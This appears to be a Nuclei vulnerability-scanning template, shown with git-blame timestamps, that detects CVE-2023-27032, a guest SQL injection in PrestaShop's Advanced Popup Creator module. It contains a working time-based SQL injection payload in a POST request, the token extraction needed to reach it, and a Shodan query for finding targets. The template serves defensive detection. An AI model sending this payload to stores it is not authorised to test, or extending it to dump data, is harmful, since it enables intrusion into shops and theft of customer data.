2024-03-16 17:23:48 +00:00
|
|
|
id: CVE-2023-27032
|
2024-04-15 12:34:11 +00:00
|
|
|
|
2024-03-16 17:23:48 +00:00
|
|
|
info:
|
2024-04-15 12:34:11 +00:00
|
|
|
name: PrestaShop AdvancedPopupCreator - SQL Injection
|
2024-03-16 17:23:48 +00:00
|
|
|
author: MaStErChO
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions.
|
|
|
|
reference:
|
|
|
|
- https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html
|
2024-04-15 12:34:11 +00:00
|
|
|
- https://addons.prestashop.com/en/pop-up/23773-popup-on-entry-exit-popup-add-product-and-newsletter.html
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2023-27032
|
|
|
|
cwe-id: CWE-89
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.01979
|
|
|
|
epss-percentile: 0.88753
|
2024-04-15 12:34:11 +00:00
|
|
|
cpe: cpe:2.3:a:idnovate:popup_module_\(on_entering\,_exit_popup\,_add_product\)_and_newsletter:*:*:*:*:*:prestashop:*:*
|
2024-03-16 17:23:48 +00:00
|
|
|
metadata:
|
2024-05-31 19:23:20 +00:00
|
|
|
verified: true
|
2024-06-07 10:04:29 +00:00
|
|
|
max-request: 2
|
2024-04-15 12:34:11 +00:00
|
|
|
vendor: idnovate
|
2024-06-07 10:04:29 +00:00
|
|
|
product: "popup_module_\\(on_entering\\,_exit_popup\\,_add_product\\)_and_newsletter"
|
2024-03-16 17:23:48 +00:00
|
|
|
framework: prestashop
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query: "http.component:\"prestashop\""
|
|
|
|
tags: cve,cve2023,sqli,prestashop,advancedpopupcreator,idnovate
|
2024-03-16 17:23:48 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
2024-04-17 06:46:56 +00:00
|
|
|
- |
|
|
|
|
GET / HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2024-03-16 17:23:48 +00:00
|
|
|
- |
|
2024-06-06 13:29:49 +00:00
|
|
|
@timeout 20s
|
2024-03-16 17:23:48 +00:00
|
|
|
POST /module/advancedpopupcreator/popup HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2024-04-17 06:46:56 +00:00
|
|
|
availablePopups=if(now()=sysdate()%2Csleep(6)%2C0)&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}}
|
2024-03-16 17:23:48 +00:00
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2024-06-06 13:29:49 +00:00
|
|
|
- duration_2>=6
|
2024-04-15 12:34:11 +00:00
|
|
|
- status_code == 200
|
|
|
|
- contains(content_type, "text/html")
|
|
|
|
- contains_all(body, 'popups','hasError')
|
2024-04-17 06:46:56 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: time
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- ',"time":([0-9]+),'
|
|
|
|
internal: true
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
name: token
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- ',"static_token":"([0-9a-z]+)",'
|
|
|
|
internal: true
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 490a004630440220505e538de0a7417f495151e7828e4e9c1c60805ab390374202dae077362ff09a02201d031f84949b5d962b16a57aac4c5ab5c30b7785284dfd82a4916a01a3c318bc:922c64590222798bb761d5b6d8e72950
|